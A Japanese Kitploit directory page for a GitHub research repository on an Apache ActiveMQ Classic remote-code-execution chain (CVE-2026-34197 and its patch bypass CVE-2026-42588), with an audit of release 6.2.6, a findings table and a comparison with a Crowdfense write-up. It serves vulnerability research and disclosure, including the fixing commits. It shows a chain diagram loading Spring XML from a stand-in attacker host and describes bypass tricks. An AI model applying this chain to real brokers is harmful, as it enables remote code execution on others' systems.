Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
apache-activemq-rce-research — Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 バイパスチェーン + hardened-6.2.6 監査結果 + Crowdfense比較 | Kitploit
ツール/GitHubGitHub/dinosn/apache-activemq-rce-research
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育ペイロード開発
GitHubdinosn/apache-activemq-rce-research

apache-activemq-rce-research

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 バイパスチェーン + hardened-6.2.6 監査結果 + Crowdfense比較

リポジトリを見る
841ヶ月前未レビュー

Apache ActiveMQ Classic — RCE リサーチ

Apache ActiveMQ Classic の Jolokia → addNetworkConnector → xbean/Spring-XML リモートコード実行チェーン(CVE-2026-34197 とそのパッチバイパス CVE-2026-42588)に関するプライベートリサーチアーカイブです。さらに、修正版 6.2.6 リリースの完全な自動リサーチ監査と、Crowdfense の公開バイパス記事との比較も含まれています。

すべての悪用は ローカルラボブローカー(Docker / 自己ホスト)に対して実行されました。ペイロードはプレースホルダーとして攻撃者ホストを使用しています。


目次

ディレクトリフェーズ内容
00-comparison-vs-crowdfense.md比較我々の研究と Crowdfense の「ActiveMQ RCE Bypass」記事の比較(file:line でソース確認済み)
01-original-cve-2026-34197/オリジナル再現分析 + PoC スクリプト + Spring-XML ペイロード(ラボ: activemq-classic:5.18.6)
02-reaudit-apr30/バージョンマトリックス5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 で uid=0;評価 + PoC + version-matrix.sh
03-reaudit-42588-42253/ライブバイパス括弧なし複合バイパス (42588) + MessageServlet XSS (42253)、ライブ再現
04-audit-6.2.6/完全監査強化された 6.2.6 の自動リサーチ監査: 最終レポート + 発見事項台帳

ラボで使用したベンダーのソースツリーとバイナリ配布物は、意図的に 除外 されています(これらは上流のものであり、我々のものではありません)。


脆弱性を一言で

認証済み(CVE-2024-32114 により 6.0.0–6.1.1 では未認証)の Jolokia 呼び出し元が、細工された discovery URI を伴って BrokerView.addNetworkConnector(uri) を呼び出します。この URI の内部にある vm://…?brokerConfig=xbean:<url> により、ブローカーは攻撃者制御の Spring XML をロードするよう強制されます。Spring XML は、ブローカーの検証 前に ProcessBuilder Bean を即座にインスタンス化し、OS コマンド実行に至ります。

root@kitploit:~
POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

発見事項

見出し: 3 つの発見事項は root/XSS まで ライブで証明 されています。6.2.6 監査では、さらに広範なセットが追加されていますが、これらは ソース確認済みで敵対的に評価済みですが、未だライブ起爆はされていません。6.2.6 の追加事項のうち、新しい 未認証 RCE はありません。ベンダーはそれらの扉を閉じました。残存リスクは認可と出力エンコーディングに移行しています。

実証済み悪用チェーン

6.2.6 監査からの新規発見(ソース確認済み)

スコープ外 — DoS(カタログ化済み、見出し対象外)

MQTT QoS 序数による AIOOBE(QoS.values()[ordinal]、クロスプロトコル、設定不要) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire アンマーシャルでの signed short NegativeArraySizeException · 負の AMQ_SCHEDULED_REPEAT による不滅ジョブ。


Crowdfense の記事との比較

Crowdfense の Apache ActiveMQ RCE Bypass は 同じチェーン を扱っています(彼らは CVE-2026-34197 の下に分類し、我々はバイパスを独自の CVE-2026-42588 として追跡しています)。両方の説明は 3 層の防御で収束しています。唯一の相違点は 層 2 です。

唯一のギャップ: 彼らの層 2 パーセントエンコード + UNC/WebDAV トリックは、ローカル書き込みプリミティブなしで 完全リモート配信 を達成します。それが悪用する分類器の欠陥(activemq-spring/Utils.java:123-129、未デコード文字列に対する生の startsWith("file://"))は 我々の正確なソースに存在します が、リモート側は Windows のみ です(Linux は //host/share をローカルパスとして扱います)。また、我々のラボは Linux だったため、そこで実行可能ではありませんでした。いずれにせよ、6.2.6 では無効です(VMTransportFactory スキームゲートが xbean を、Utils が実行される前に拒否するため)。

フォローアップ: Windows でホストされた 5.19.6(または 5.19.7/6.2.6 より前のビルド)+ SMB/WebDAV リスナーを使用すれば、完全リモートの許可リストバイパスを実証できます。これは、我々のエンゲージメントがまだ示していない、記事が持つ唯一の能力です。


修正(ActiveMQ 6.2.6)

3 つのコミットがチェーンを閉じます: c1b44af11(括弧なし複合 URI の検証 — parseComposite を無条件化 + 再帰)、c2fc7a1d6(VMTransportFactory スキーム許可リストを介して XBeanBrokerFactory をデフォルトでブロック)、be8415f24(サンプル設定の強化: Jolokia をループバックに制限、addNetworkConnector を含む操作拒否リスト)。

ツールをダウンロード
ID発見事項クラス重大度認証証拠
CVE-2026-34197Jolokia addNetworkConnector → xbean Spring-XML RCERCEクリティカル認証後(6.0.0–6.1.1 では未認証)ライブ — uid=0(5.18.3 / 5.18.6 / 6.1.4 / 6.1.7)
CVE-2026-42588括弧なし複合 URI による 34197 拒否リストのバイパスRCE(パッチバイパス)クリティカル認証後ライブ — uid=0(34197 パッチ適用済み 5.19.6 + 6.2.0)
CVE-2026-42253MessageServlet ヘッダーインジェクション → 格納型 XSSインジェクション / XSS中認証後ライブ(6.2.0)
ID発見事項クラス重大度認証備考
C1static: 拒否リストのギャップ → SSRF — static が DENIED_TRANSPORT_SCHEMES に存在しない;addNetworkConnector("static:(tcp://…)") → 発信ブローカー TCPSSRF中管理者 / JMX記事で扱われている 34197/42588 と同じ拒否リスト を通過するシンクのバリアント
B1永続的サブスクリプション クロス clientId 削除 IDOR — removeSubscription はネットワークから提供される clientId を鍵とし、AuthorizationBroker でゲートされていない認可バイパス / IDOR中認証後(ブローカー認証オフの場合は認証前)最もクリーンな新規発見事項
B3LDAP 空パスワード → 匿名バインド(LDAPLoginModule、空チェックなし)認証バイパス中(条件付き)認証前ディレクトリが匿名バインドを受け入れる場合に限る
A1–A7コンソール 出力エンコーディングインジェクション群 — 攻撃者制御の MessageId.textView(OpenWire v10+ および AMQP)が約 7 つの JSP/REST シンク + FileSystemBlobStrategy パストラバーサルでエスケープされていないインジェクション低–中プロデューサー → 管理者デフォルトでは CSP により HTML/コンテンツインジェクションに制限
B2Shiro WildcardPermission コロンインジェクションによる動詞昇格権限昇格低–中認証後Shiro は非デフォルト
B4一時宛先認可 失敗時開放 の非対称性 vs 非一時宛先の失敗時閉鎖認可バイパス低認証後設計による(AMQ-4721);強化に関する注記
B5StatisticsBroker replyTo が、プラグインが認可より前に順序付けられると 書き込み ACL をスキップ する認可バイパス低認証後設定順序に依存
B6証明書ログイン 非正準 DN(getSubjectDN().getName()) → 同一 CA 証明書間の ID 衝突認証低認証前(TLS 検証済み)「任意の自己署名証明書」は 機能しない
B7populateJMSXUserID=false(デフォルト)時の JMSXUserID のなりすましなりすまし低認証後—
F5STOMP 発信ヘッダー 名がエスケープされていない → 同一テナントのサブスクライバーへのフレームインジェクションインジェクション低クロスプロトコルSTOMP 有効時
層防御手段Crowdfense の突破方法我々の突破方法
1スキーム 拒否リスト(34197 修正)括弧なし複合 static:vm://…同一 — 独立に発見 ✅
2xbean {file,classpath} 許可リスト(#1910)パーセントエンコード file:%2f%2f… → Windows UNC → WebDAV → リモート HTTP フェッチローカルファイル xbean:/tmp/evil.xml(ローカル書き込みが必要)
3VMTransportFactory スキームゲート(broker,properties、42588 / 6.2.6 修正)決定的防御として認める同一結論 ✅